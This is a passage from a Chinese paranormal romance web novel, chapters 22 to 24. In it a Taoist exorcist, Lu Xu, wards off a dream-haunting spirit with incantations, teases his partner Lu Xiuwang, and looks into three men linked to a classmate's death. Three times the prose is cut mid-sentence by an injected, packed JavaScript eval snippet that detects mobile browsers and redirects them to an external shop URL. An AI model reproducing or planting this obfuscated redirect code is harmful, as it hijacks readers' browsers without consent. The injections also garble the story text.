“……可恶啊。”他感慨,“我过的什么日子,你过的什么日子。” 陆修望垂着眼没接话,刚才那套话术其实是自己随口编的,他就想看看陆叙喜欢什么样的。 至于为什么要在自己卧室做实验—— 陆修望抬起眼,看着陆叙那张毫无防备的脸,如果他觉得这里很舒服,不打算挪窝了,那不就正中下怀了吗? 毕竟这里的一切都是为他准备的。 来日方长。 这床是真舒服,枕头也特别棒,陆叙翻了个身,把自己卷进被子里,意识很快就模糊了。 不知睡了多久,门边突然传来一阵响动,卧室门被人从外面推开,几乎没有声音,但陆叙就是能感觉到,有什么东西进来了。 那东西在屋子里走动,翻找着什么。衣柜被拉开,抽屉被翻动,窸窸窣窣的响声在黑暗中格外刺耳。 陆叙的手摸到枕头底下,那里正好放着一把短刀。 翻动声停了,对方似乎发现了他,朝床这边走了过来。 陆叙屏住呼吸,攥紧刀柄,等那东西走到床边的瞬间,他猛地睁开眼,挥刀朝对方刺去。 手腕一把攥住,对方力道大得惊人,陆叙整条胳膊都被制住了,刀停在半空,动弹不得。他想用力,却发现浑身都使不上劲,像是被什么东西压住了,只能任由对方夺走武器。 他在这边挣扎,陆修望在旁边却睡得像猪一样,没一点动静,陆叙忍不住在心里破口大骂——真是个无用的丈夫! 骂完,自己又忍不住笑,他觉得自己特别幽默,陆修望不仅现在这种情境下很无能,那什么更是无能。 然而也就在这时,那东西俯下身,陆叙看不清对方的脸,只能看见一团模糊的黑红影子。 鼻息喷在皮肤上,带着一股潮湿腥冷的气息。对方贪婪地把头埋进他的脖颈嗅闻,似乎还有什么冰冷的东西贴了上来。 陆叙浑身汗毛倒竖。 这是在闻他的味道。 不是□□的味道——是灵魂的。 他瞬间意识到:这是梦。是鬼压床。 “九天应元雷声普化天尊——” 声音在喉咙里滚了一圈,却像被什么东西堵住了,传不出去。 那黑影没有任何反应,依然伏在他身上,像是在确认着什么。 无效。 陆叙心里一沉,还好此刻他神识已经清醒,否则后果不堪设想。 “天地玄宗,万炁本根。”他闭上眼,强迫自己集中精神,一字一句地念下去。 “广修亿劫,证吾神通。三界内外,惟道独尊。” 黑影的动作迟缓了一些,但并没有受到太大影响。 陆叙咬紧牙关,继续念:“体有金光,覆映吾身。视之不见,听之不闻——” 那股压制他的力量松动了些许,陆叙趁机挣开手腕,在梦里掐出手决。 “洞慧交彻,五炁腾腾。金光速现,覆护真人!” 他睁开眼,黑影还在,但已经退开了一步,轮廓变得模糊,像是被什么东西侵蚀着。 “急急如律令!” 他念完最后一句,又从头开始,一遍,两遍,三遍—— 直到那团黑影彻底消散,梦境开始崩塌,四周的景象像玻璃一样裂开。 陆叙猛地睁开眼,眼前一片漆黑,只有落地窗外透进来一点点微弱的光,还是凌晨。 他大口喘着气,后背全是冷汗,睡衣湿透了贴在身上。 他想起那三个人描述的梦境,和他刚才梦到的,除了地点不同,场景几乎一模一样,只不过那东西没打算杀他。 普化宝诰没用,金光神咒念了三遍才勉强把它逼退。 而且只是逼退,不是彻底消灭。 那三个人身上的麻烦,比他想象的还要棘手,他虽然拒绝了那个单,但那东西还是顺着联系摸到他这儿来了。 真他妈晦气。 坐起来缓了好一会儿,陆叙才伸手去拿床头柜上的水杯。 他看向旁边那张床。 陆修望睡觉倒是挺安静,被子蹬到了一边,呼吸平稳,一副不动如山的样子。 陆叙盯着他看了两秒,越看越不高兴。 八字纯阳就是好,什么脏东西都沾不上身,睡眠质量又好,运气也好,还有钱…… 陆叙越想越气,抬脚踹了陆修望一下。 陆修望皱了皱眉,翻了个身,继续睡。 “……” 陆叙盯着他的后背看了两秒,掀开自己的被子,下床,走到陆修望床边,一把拉开他的被子钻了进去。 陆修望迷迷糊糊地嘟囔了一句“生……气”,但人却没醒,显然还在做梦。 陆叙没听懂他说什么,扯过被子把自己裹严实,陆修望无意识地翻过身,揽住了他的腰。 陆修望又遇到那只白狐了,通体雪白,尾巴蓬松,眼睛是浅琥珀色的,看人的时候总带着点傲气。 白狐蹲在一块青石上,背对着他,尾巴耷拉着,一副闷闷不乐的样子。 陆修望走过去,蹲下身,伸手去摸它的脑袋。 狐狸猛地转过头,朝他手上咬了一口。不算太疼,但牙尖确实刺进了皮肉。 陆修望没缩手,反而笑了一声,趁狐狸松口的间隙,一把将它捞进怀里。白狐挣扎了两下,没挣开,尾巴炸起来。 陆修望不为所动,一只手固定住它的身体,另一只手翻过来揉它的肚子。 “生什么气呢?”他问。 狐狸没回答,但它的挣扎渐渐弱了下去,后腿蹬了两下,似乎是被挠到了舒服的地方。 陆修望手法熟练,过了一会儿,白狐终于不闹了,窝在他怀里。 陆修望低头轻嗅它的毛发,是一阵很好闻的药香。 陆修望故意逗它:“臭臭的。” 狐狸立刻咬了他一口,挣脱他的怀抱往前跑,陆修望跟着他,在树林里漫无目的穿行,山势陡峭,草木葱郁,陆修望看着那团雪白的毛球在山间跳跃,忽远忽近。 它看起来很开心,陆修望也觉得愉悦,更像是得到了一种发自内心的满足。 意识逐渐浮上来的时候,陆修望首先感觉到的是怀里的温度。 软的,温热的,还有一股熟悉的香味,好像是那只狐狸,他下意识收紧手臂,掌心的触感却光滑细腻,是皮肤。 陆修望睁开眼。 陆叙不知道为什么睡在他怀里,呼吸平稳,睡得很沉。 头发乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104374|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七八糟,几缕碎发贴在额角,睡衣也皱成一团,下摆不知道什么时候被蹭上去了,露出一截腰。 很白。正贴在他的手臂上。 陆修望喉结滚动了一下。 反应来得剧烈且理所当然。 他垂眼看着怀里的人,目光从腰线慢慢移到对方的侧脸。 睫毛很长,鼻梁上那颗小痣有点色气,睡觉的样子却很可爱。 他想伸手去碰,但终究没动,微微松开了手上的力道,打算悄悄退开一点,免得等会儿场面不好收拾。 然而他刚动了一下,怀里的人就有了动静,陆叙的睫毛颤了颤,眉头微微皱起,像是要醒了。 陆修望立刻闭上眼睛,放缓呼吸,装作还在熟睡。 陆叙清醒过来的第一反应是:热。 第二反应是:陆修望怎么浑身滚烫? 然后—— 他感觉到了什么存在感极强的东西。 陆叙大脑一片空白,他想起自己之前信誓旦旦地嘲笑陆修望“有隐疾”、“自卑男”,还分析得头头是道。 现在那些话像一记记耳光,啪啪啪地抽在他自己脸上。 陆叙感觉血气直往脑门上冲。 这个姓陆的真是脑子有问题,性压抑成这样,这么能忍这么能憋,王八成精了吗?他怎么不干脆憋死自己? 还好这人还在睡,什么都不知道,不会太尴尬。 他咬着牙,屏住呼吸,轻轻抬起腿把陆修望踢开了一点。 对方没睁眼,只是翻了个身背对着他。 陆叙趁机跳回自己那张床上,拉过被子把自己从头到脚捂得严严实实。 陆修望背对着他躺着,嘴角慢慢勾起一个弧度。 踢得还挺用力。 过了好一会,等两人的呼吸都平缓下来,陆修望装作刚醒的样子,清了清嗓子,声音还带着刚睡醒的沙哑。 “陆叙,醒了没?” 被子里的人没吭声。 陆修望扔了个枕头过去:“醒醒,早饭已经准备好了。” 陆叙那叫一个烦,抓起枕头扔到陆修望脸上:“你能不能滚啊。” “醒了啊。”陆修望接住枕头,语气懒洋洋的,“昨晚睡得怎么样?” “关你屁事。” 起床气还挺大,陆修望轻笑:“我昨晚没怎么睡好,总感觉有人一直抱着我。你有没有这种感觉。” 被子掀开一角,露出陆叙的半张脸,眼神冷漠:“你怎么这么烦人?脑子有问题就去治。” “哦。”陆修望翻了个身,面朝天花板,语气无辜,“那我可能是记错了。” 陆叙把被子又拉上去,打算装死到底。 安静了几秒,陆修望的声音又响起来:“可我总觉得不对劲,好像还被人踢了好几脚。” “……” 陆修望语气带着疑惑:“是不是你趁我睡着偷偷报复我?” 陆叙掀开被子坐起来,面无表情地看着他:“我看你是被鬼踢了吧。” “行吧。”陆修望也慢悠悠地坐起身,伸了个懒腰,“那我过会儿调监控看看,别是家里进贼了。” 陆叙盯着他的脑袋,手指攥紧了被子。 他现在非常想掐死这个人。 “你昨晚睡得像死猪一样,又是打鼾又是哼唧,烦都烦死了。”陆叙冷笑:“还说没睡好,我看猪都没你能睡。” “我不信。”陆修望偏过头看他,笑容无辜,但落在陆叙眼里却格外阴险,“你空口白牙污蔑我,我现在真得看一下监控了。” “……”陆叙咬牙,这人真是个狗。 “不和你开玩笑了。”陆叙压下火气,语气生硬地转移了话题,“你昨晚其实睡得挺沉的,我倒是没怎么睡着。” “怎么了?床不舒服吗?” “不是。”陆叙解释,“你这屋子没有镇宅的物件,我做噩梦了。” 陆修望看出他的意图,眼底闪过一丝笑意,但脸上装出一副好奇的样子:“什么噩梦?” 陆叙靠在床头,抱着胳膊,简单和他描述了一下昨晚的梦里发生的事。 听完,陆修望也收起了脸上的笑,微微坐直了身体:“你也被那东西影响了?” “是。”陆叙皱着眉,“宝诰对它没用,金光神咒念了好几遍才能勉强把它逼退。” 陆叙神情凝重:“这东西应该不是本地界内的,道法对它约束力很有限。” “居然还是个外国鬼?”陆修望挑了挑眉,“这么有实力吗?” “真实实力不太清楚,”陆叙有些烦躁:“但这事儿我得管。” 陆修望不解:“你不是说影响力会渐渐消退吗?或者我当你护身符抱着你睡——” “……”陆叙瞪他一眼,这小子果然不安好心。 陆修望面不改色地继续说:“或者你自己戴几件法器,干嘛非得去淌这趟浑水?” “这东西如果留在本地地界,有可能伤及无辜。” 陆叙随意编了个理由,他没告诉陆修望,那个东西大概不会轻易离开自己的梦境了。 因为它觊觎的是他的灵魂。 23.第 23 章 陆修望问:“要不要再联系那三个人?” “你想让我主动凑上去?”陆叙挑了挑眉,“昨天刚把人轰走,今天又巴巴地找上门,我还要不要脸了?” 陆修望不屑地说:“我让人打他们一顿,把嘴撬开不就得了。” “……我们这是正经工作室。”陆叙提醒他,想了想,又说:“正好,我们可以合理分配一下工作职责。” “嗯?” “我负责阴间部分,你负责阳间部分。”陆叙看向他,“这三个人的底细,你去查清楚。” 陆修望点头,起身出去打电话,陆叙躺回床上,盯着天花板发呆。 昨晚那个东西很诡异。 不像普通的邪祟,身上没有怨气,却极其凶悍。抛开道法的作用范围不谈,那东西本身的能量也很足——足够支撑它突破屏障,一路追到境内来。 到底是什么来头? 很快,陆修望那边传来了初步消息。 昨天那三个人从小一起长大,从小就混,高中时期更是在学校里搞了个小团体,横行霸道,没少欺负人。 宋凯是核心人物,家里有点背景,胆子也最大。 资料显示,他们曾经长期霸凌一个叫周成的同学,起因已经不可考,可能就是看人不顺眼,可能是周成不小心得罪了宋凯,总之从高一开始,周成就成了他们的固定靶子。 言语羞辱、孤立排挤、拳打脚踢,手段一样不落。 后来不知道发生了什么,赵阳阳和马俊杰提议找人“好好教育”周成一顿。 团体里有个半吊子混混,认识几个社会上的大哥,宋凯出钱,让他们把人堵在放学路上。 本来只是想打一顿出气,结果周成被人失手打中头颅,送到医院没抢救过来。 人命案子。 动手的几个社会人员都被抓了,牵头的混混也判了刑,但宋凯三人没有直接动手,钱也还没来得及转出去,口头约定算不上直接证据。 加上家里使了力气,把责任全推到那个混混头上,最后三个人都保下来了。 不过他们在本地也待不下去了,家里干脆把人送到了A国。 陆修望补充:“三个人是一起出去的,混到文凭后,家长掏钱给他们在当地开了餐厅和酒吧,就是他们口中的生意。” 陆叙继续往下看,这三人出国之后行动轨迹就正常了,偶尔去店里看看、偶尔旅游,大多数时间就是泡吧打游戏,没什么异常,也没敢再惹事。 陆叙仔细整理了思路,这三人身上,一层是周成的命债,因果在身。 但国内这种事,通常都会请人超度,或者做法镇一镇,特别是死后有怨的,如果处置妥当,周成应该不能再纠缠这几个人。 另一层就麻烦了。 昨晚那东西十有八九是他们在A国招惹上的,但现在并不能确定它的来历,也无法确定它能不能通过三个人身上的因果影响周成的怨气。 “我得去一趟坟地。”陆叙放下资料,“先看看周成有没有被妥善安置,这边没问题,我们才能安心处理A国的东西。” 陆修望点头,让人去查周成葬在哪里。 “还有,”陆叙又补了一句,“A国那边的资料也得继续查。看看他们这几年的具体行踪,去过什么地方,接触过什么人,都很重要。” 陆叙靠回床头,还是有些烦恼,现在只能走一步看一步,跟着调查的信息整理线索,他不可能亲自去找那三个人,让他们老老实实交代在国外遇到过什么怪事,因为他本来就没打算帮他们,主动凑上去算怎么回事? 想到这里,他忽然觉得有陆修望这个合伙人还挺好的,不然这件事,他真不知道该从哪儿下手。 看他一脸烦躁,陆修望提议可以从他们找过的大师查起。 “问问那些人有没有更深入地了解过情况,”陆修望说,“说不定有人看出了什么端倪。” 陆叙赞赏地点了点头。 消息陆续反馈回来,三人在国内前前后后找过五六个大师,陆修望挨个了解了一遍,得到的信息大同小异。 只有一两个人提到,赵阳阳曾说过“周成回来找他们了”之类的话。 看来这三人自己都没意识到问题出在国外。 “还有一个。”陆修望把手机递过来,“他们之前提过的那个和尚。” 陆叙接过手机,看了一眼屏幕上的信息。和尚法号山提,是A国智慧林寺的记名弟子,口碑很好,但行踪不定,经常出门宏法看事。 “智慧林是A国最负盛名的寺庙。”陆叙分析,“山提能压制那东西,不仅仅因为他是本地人,也是因为他有足够的能耐。” “赵阳阳口中的谈崩,我猜是这位僧人知道了他们犯下的罪行,所以不再帮助他们。” “我让人查查看他最近在哪。” 陆叙点点头,把手机还给他。 这和尚是个突破口。 如果能找到他,说不定就能弄清楚那三个人到底在A国招惹了什么东西。 安排好一切,陆叙索性也不再去想这件事,又开始了一整天枯燥乏味的游戏时光。 凌晨,陆叙退出游戏,扭头发现陆修望靠在沙发上,手里拿着手柄,却没在看大屏幕,而是若有所思地盯着某个方向。 “想什么呢?” 陆修望回过神来,看向陆叙时,眼里闪过一丝懊恼:“今天忙着查那三个人的事,又忘了让人来布置你的客房。” 陆叙动作顿了一下,不管陆修望是故意的还是无意的,他本来就没打算睡客房,况且今晚是十五,那不正好…… 陆修望站起身,在他面前站定,语气里带着点歉意:“抱歉,我的疏忽。” 陆叙叹了口气,语气幽怨:“我就知道。” “知道什么?” “你不欢迎我呗。” 陆修望搭上他的肩,推着他往主卧的方向走:“主卧给你睡,我的床也给你睡,还叫不欢迎?” 陆叙顺着他的力道往前走,面上却做出一副勉为其难的样子:“行吧,那我就再将就一晚。” 洗漱完,两人各自躺下,两张床挨得很近,近到伸手就能碰到彼此。 陆修望感受着陆叙的存在,刚静下心来,旁边就传来动静。 “让我睡你的床。”陆叙理直气壮。 陆修望睁开眼:“怎么了?” “我得换着享受。” 陆修望看着他,忍住笑意,掀开被子起身,走到另一张床躺下。 “行了吧?” “嗯。” 看着他躺下去,拉过被子把自己裹好,陆修望莫名觉得,这人看起来很……乖? 他清醒了一下,把这种错觉赶出脑子。 房间里安静下来,陆修望闭上眼,意识逐渐模糊。不知过了多久,身侧忽然陷下去一块,他睁开眼,陆叙不知道什么时候又悄无声息地挪了过来,正背对着他躺着。 陆修望心里发笑,却故作无奈地开口:“你是在报复我?不想让我好好睡觉?” “那边不舒服。”陆叙的声音闷在枕头里,陆修望居然听出一丝理所当然的委屈。 陆修望逗他:“那我睡过去?” 陆叙立刻抓住他的手:“大晚上别折腾了,我都不嫌弃你睡我旁边,你给我好好睡觉。” 陆修望盯着两人交握的双手,心里软成一片。 陆叙没再说话,只是往他怀里靠了靠。 陆修望抱住他,忍不住勾起嘴角,他突然开口:“陆叙。” “干嘛?” “你是不是一个人睡觉害怕?” 陆叙猛地翻过身,陆修望早有防备,一把攥住他的手腕,顺势撑起身子,另一只手按住他的腰,把人牢牢固定在身下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112485|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆叙挣了两下,没挣开,索性放弃抵抗,整个人摊在床上,仰着头瞪着陆修望。 “老实点。”陆修望低头看他,声音压得很低,带着点威胁的意味,“安分睡觉。” 陆叙直视着他,面上没有心虚,甚至有点……跃跃欲试。 陆修望盯着那张脸,忽然意识到一件事。 从换床开始,到挪过来,再到抓住他的手—— 这人根本就是故意的。 虽然不知道他是什么目的,但…… 两个人离得太近了,陆叙看向他的眼睛,又有些害羞地别开脸,生硬地转移话题:“都怪你。” 陆修望声音有点哑:“怪我什么?” “我的护身符都没来得及带过来。”陆叙哼了一声,“今晚出了事你得负责。” 陆修望看着他。 乖巧,无辜,和平日里的陆叙截然不同。 这一瞬间,陆修望终于想明白了,这人,绝对是在勾引自己。 “那你和我说说,要我怎么负责?”他按住陆叙腰的手加重力道,声音也低了下去。 陆叙偏过头,手却勾住了他的脖子,轻抚他的后颈,眼睫微微低垂,声音变得有些黏糊:“你说呢……” 陆修望的脑子嗡的一下,那点若即若离的触感顺着脊椎往下窜,像一簇火苗,烧得他头皮发麻。 两个人贴得太近,陆叙的眼睛微微闭上,他能闻到陆叙身上淡淡的药香,能感觉到对方的呼吸扑在自己下颌上。 他情不自禁低下头…… 下一秒,陆叙却忽然抬手捂住他的嘴,嘴角一点点勾起,露出一个阴谋得逞的、欠揍的笑容:“你真是饿了,孩子。” 陆修望表情扭曲了一瞬。 “行了,说正事。”陆叙又恢复了那副吊儿郎当的样子,他推开脸色难看的陆修望,撑着身子坐起来,“今晚阴势成形,还正好赶上望日,月华最盛,梦境会比平时活跃。那东西可能还会来,你体质虽然特殊,但我不敢打包票它不会硬闯进你的梦里,你对这方面一窍不通,很容易陷进去。” 他顿了顿,继续道:“有我这样的帅哥在侧,你现在应该睡不太着了吧。正好,你守前半夜,我守后半夜。我要是有什么不对劲,你立刻叫醒我,听懂没?” 陆修望愣了半天,终于意识到自己被耍了。 他低头盯着陆叙那张欠揍的脸,胸口乱七八糟的一堆火气搅在一起,烧得他太阳穴突突直跳。 “陆叙,”他咬着后槽牙,一字一顿,“你他妈是不是有病?” 陆叙抬手拍了拍他的脸颊,语气温柔,带着点安慰的意味:“老公,辛苦你了,我年纪大,先睡一会,三点你叫我。” 说完,他紧挨着陆修望,找了个舒服的姿势躺好,看陆修望还在旁边翻来覆去,声音里全是憋不住的得意: “别闹了,不行就去洗个冷水澡清醒清醒。” 陆修望深吸一口气,又深吸一口气。 他侧头盯着陆叙那张得意洋洋的脸,半晌才从嗓子眼里挤出一句: “你最好祈祷我这辈子都拿你没办法。” 陆叙终于绷不住笑出了声:“就你?你能拿我怎样?” 玩够了,陆叙闭上眼睛,呼吸逐渐平稳,看起来已经睡着了。 但他没有,他心里还是忍不住地大笑,爽,太爽了,陆修望刚才那副憋屈的表情真是太解气了。 今晚这一出简直完美,因为他太了解陆修望这种人了,表面道貌岸然,实际上那点欲望和火气早就憋到了临界点,随便来个人撩拨两下准破功。 早上装睡是吧?阴阳怪气是吧?乱说些有的没的就想看他尴尬是吧? 这就叫现世报。 论起恶心人的本事,和他比起来,陆修望还嫩着呢。 陆叙在心里得意地哼了一声。 活该。 24.第 24 章 陆修望在旁边翻来覆去,浑身躁动不安,看起来是被气狠了。 陆叙迷迷糊糊地踢了他一脚:“别动。” 陆修望心头火气更甚,干脆翻身把人捞进怀里,手臂一收,箍得死紧。 陆叙哼哼了两声,嘴里含糊地念叨:“就知道你不安好心……” 话没说完,呼吸就平稳下去,睡了过去。 陆修望盯着他的后脑勺看了好一会儿,怀里的人睡得毫无防备,后颈的碎发蹭着他的下巴,痒痒的。 他听着那逐渐平稳的呼吸声,自己的心跳也慢慢缓了下来。 今晚这一出,简直荒诞到了一种无厘头的地步。陆修望回味着,有点崩溃,有点想笑,又有点无奈。 这人是真不知道自己在干嘛,还是故意的? 算了。 反正这下是真睡不着了。 那东西果不其然又来了。 陆叙站在一片黑红交叠的空间里,四周被血浸染的浓雾正在翻涌蠕动着,带着一股腐烂的腥气。 有什么东西在外面,试图闯进来。 陆叙没动,他有所防备,意识比昨晚清醒得多。而且他能感觉到,有一股温热的气息笼罩着自己——那是陆修望身上的阳气,在这片虚幻的神识里,那股气息微弱,却非常真实。 那东西似乎有所忌惮,没敢太靠近,它停在几步之外,轮廓在雾气里若隐若现。 “太上台星,应变无停。驱邪缚魅,保命护身。智慧明净,心神安宁。三魂永久,魄无丧倾。” 陆叙默默念着清心咒,稳住心神,仔细打量着面前的东西。 那身形似乎是一个瘦弱男人。 佝偻着背,像是承受着巨大的重量。看不清五官,但能感觉到它的目光正死死盯着自己,带着怨毒,带着饥渴。 有可能是周成,但又不太对劲。 他还没来得及细想,那身影忽然动了,没有朝他冲过来,而是猛地抬起头,像是察觉到了什么,朝另一个方向看去。 下一秒,陆叙惊醒,他猛地抬起头,眼角余光朝梦里的方向看去,似乎瞥见了一团黑红色的影子,正悬在床尾的半空中,形态扭曲,透着一股凶戾的气息。 然后消失了。 陆叙盯着那个方向看了两秒,心跳得有些快。 这东西胆子不小,都敢跟出来了。 陆修望的手机闹钟一直在响,他瞥了一眼,居然是每五分钟一次。 但陆修望没有任何反应。 他睡着了,睡得很不安稳,眉头紧紧皱着,整个人僵硬得不正常,像是被什么东西压住了。 陆叙心里咯噔一下,赶忙叫了他几声。 “陆修望?” 没有反应。 他不会也被那东西影响了吧? “陆修望!” 陆叙抬手,啪啪两巴掌拍在他脸上,还是没反应。 顾不上别的,陆叙赶忙念起清心咒,掐诀点向他的眉心。 下一秒,陆修望猛地睁开眼睛,一把将陆叙拽进怀里,手臂收紧,力道大得像是要把人揉进骨头里。 陆叙被他勒得有点喘不上气,忍不住拍了他一巴掌:“你干嘛?松开——” 陆修望没说话,呼吸有些乱,抱得更紧了些。 陆叙愣住了。 他能感觉到陆修望的心跳,又快又重,撞在他胸口上。 陆叙声音放轻了些:“喂,你到底怎么了?” 陆修望不知道该从何说起,因为他自己也说不清楚。 梦里,那只白狐不知道为什么生了气,头也不回地往山林深处走,而他被困在原地,动弹不得。 那团白色的影子越来越远,越来越模糊,最后彻底消失在雾气里。 他找不到陆叙了。 那种失去感太真实了。醒过来的那一瞬间,胸口像是被人狠狠攥了一把,疼得他眼眶发酸。 他不知道自己和陆叙的前世到底发生了什么,不知道为什么会频繁梦见那只狐狸,更不知道陆叙对此有没有感觉。 他只知道陆叙现在在他怀里,而他不敢再放手让他离开。 “陆修望?”陆叙的声音又响起来,带着点幸灾乐祸,“你看看你这样,还说我害怕一个人睡觉。” 陆叙见他半天回不过神,只是紧紧抱着自己不撒手,心里有点奇怪。 这个梦境有这么恐怖吗? 犹豫了一下,还是抬起手,轻轻拍了拍陆修望的背,安慰他:“放宽心,我可是大师,不出三天就搞定这件事。” 陆修望闷闷地笑了一声,声音有些哑:“不是害怕。” 又说:“让我再抱一下。” “你一个大老爷们至于吗?”陆叙张了张嘴,想再说点什么,最后还是咽了回去。 “……行吧。” 他由着陆修望抱着,没再挣扎。 窗外的天色还是暗的,陆叙闭上眼睛,环在腰间的手臂收得更紧了些,陆修望的心跳还是快得不太正常,陆叙没再去想,就这么睡了过去,直到天亮。 第二天,两人起了个大早,分头整理着资料,陆修望那边又来消息了。 “那和尚过几天会回智慧林寺参加法会,我让人先去拜访他。”陆修望放下手机,“还有,周成的坟在他老家兰市。” 陆叙的眼睛亮了一下。 “正好。”他放下杯子,“我让我的人脉去看一眼。” 他掏出手机拨了个号码,电话接通,陆叙张口就是一句:“喂,老公,你在哪儿?我想你了。” 陆修望脸上的笑意瞬间消散,空气冷了下来。 陆叙浑然不觉,姿态随意地躺在沙发上,语气亲昵:“对对对,就是兰市那边……行吧行吧,那我自己去一趟,到时候正好来宠幸你……” 他絮絮叨叨讲了半天,最后悻悻挂了电话,叹了口气。 “怎么了?”陆修望开口,声音听不出什么情绪。 “我老公目前不能去坟地,别人去看我不放心。”陆叙把手机扔到一边,“我们俩亲自跑一趟吧。” 陆修望盯着他,眼神压抑:“你说谁?” “我老公啊。”陆叙一脸理所当然。 “他是你老公。”陆修望的语气压得很低,眼睛一眨不眨地盯着陆叙,“那我是谁?” 陆叙看着他那张黑沉沉的脸,愣了一下,然后笑出声来。 “你是我孙子啊。”他伸手拍了拍陆修望的肩膀,“想什么呢?” 陆修望却没笑,也没再像往常那样露出无奈的表情。 “我哪里做得不好?”他盯着陆叙,语气认真,不像是在开玩笑,“我哪里比不上他?” “这不就是随口一叫吗?”陆叙被他这副架势弄得有点懵,“我发现你这人特较真。” “是,我较真。”陆修望目光沉沉,“但是你先来招惹我的。” 陆叙彻底搞不懂他了。 莫名其妙演什么偶像剧?还是在报复自己昨晚恶心他? 他无奈地摆了摆手,敷衍道:“行行行,他是我大老公,你是我小老公,行了吧?” 陆修望的眉头皱得更紧了:“凭什么他是大的我是小的?” “……” 陆叙把怀里的抱枕扔到他身上,烦死了。 “他比我长得帅?还是比我有钱?”陆修望接住抱枕,不依不挠。 陆叙看着他那副非得争个高下的样子,编了个理由:“就凭他年纪大,会疼人。” 陆修望顿了一下。 “我哪里做得不好,都可以改。”他说,语气居然还挺真诚,“我也会疼人。” 陆叙上下打量着他,真搞不懂这小子哪来的胜负欲。 他挠了挠头,忍不住感叹:“头一次见有人上赶着当我老公的,好不习惯啊。” 陆修望盯着他。 陆叙脸上那点不好意思不像作假,只能硬生生把到嘴边的话咽了回去。 陆叙见他不吭声了,站起身拍了拍他的肩膀:“行了,正事要紧,咱们尽快去兰市。” 一路上陆修望都阴沉着一张脸,活像谁欠了他八百万,陆叙倒是兴致勃勃,靠在副驾驶座上发了一路消息,时不时还笑出声来。 陆修望瞥了一眼他的手机屏幕,忍了又忍,还是没忍住:“你就那么喜欢他?” 陆叙头也没抬:“谁?” “你老公。” 陆叙终于放下手机,眼睛里却还带着点笑意:“他好玩。” 陆修望的手指在方向盘上收紧。 “那我呢?”他盯着前方的路,声音压得很低。 “你什么,你一点都不好玩。”陆叙话语里满是感慨和嫌弃,“我叫你老公你都没反应的,无聊死了。” 陆修望沉默了几秒,脑子里飞速运转,回应他一句老婆他不乐意,陪他演戏他也不乐意,只能试探着问:“那你要什么样的反应?” 陆叙思索片刻:“昨晚那样就挺好玩的。” 他顿了顿,又露出那副欠揍的笑容:“又气又急,特别蠢,嘻嘻。” 陆修望猛地想起昨晚的事,又看着他那副嬉皮笑脸的样子,一口气憋在心口,上不去下不来。 他想发火,又舍不得,只能在心里盘算着,怎样找机会教训教训那个所谓的老公。 到了兰市,陆叙随意定了家酒店,陆修望去停车。 等他回来时,远远就看见陆叙站在路边,冲一个男人招手。 那男人看起来三十上下,穿着件深色风衣,气质沉静。 陆叙不知道说了什么,忽然笑着朝他跑过去,然后—— 跳到了他背上。 男人踉跄了一下,无奈地稳住身形,背着陆叙走了几步,又把他抱下来,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118229|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸“我拿你没办法”的表情。 陆修望看着那幅亲密的画面,心里的阴郁越积越重,这男人除了气质好点,其他哪里比得上他,又老又穷,背一个这么瘦的人都稳不住身形。 没用的老东西,真不知道陆叙喜欢他什么。 他快步走上去,自然地揽住陆叙的肩膀,把人往自己身边带了带。 “先进去吧。”陆修望语气平常,却带着点不易察觉的傲慢,“位置订好了。” 陆叙被他这一出弄得有点懵,但也没挣开,由着他搂着往前走。 三人来到包间,陆叙一坐下就抓住那男人的手,语气亲热:“老公,我想死你了。” 对面的男人表情僵了一瞬,揉了揉眉心,一副头疼欲裂的样子:“陆叙,你别乱叫。” 陆修望也愣了一下。 这反应不太对啊。 陆叙撇了撇嘴,一脸不高兴:“老公,你对我这是什么态度?我不想理你了。” 说着,掏出手机就要向谁告状:“我老婆怎么还没来?” 那男人深吸一口气,努力维持着平静:“你师姐在路上了,堵车。你别影响她开车。” 他说完,目光转向陆修望,像是想找个正常人说说话:“这位是?” 陆叙抢在陆修望开口之前答道:“这我新收的孙子。” 那男人彻底无语了,看着陆叙,眼神里写满了恨铁不成钢: “你都多大了,一天到晚乱说话不着调,小心哪天被人揍了。” 陆叙长叹一声,语气幽怨至极:“咱们夫妻这么久没见面,一见面你就教训我。” 他顿了顿,一脸认真:“我要和你离婚。” 那男人:“……” 他转向陆修望,脸上带着一丝崩溃:“不好意思,让你看笑话了。我是陆叙的师兄,姓温,温白。” 陆修望看着陆叙在那胡闹,脑子里飞快地转着。 所以这男的是陆叙的师兄。 是娘家人。 是大舅哥。 悬了一路的心终于落回了原处,也不用再想怎么弄死这个所谓的老公了。 陆修望整个人松弛下来,他看了看温白那副被陆叙折磨得头大如斗的样子,心里也通透了。 原来如此。 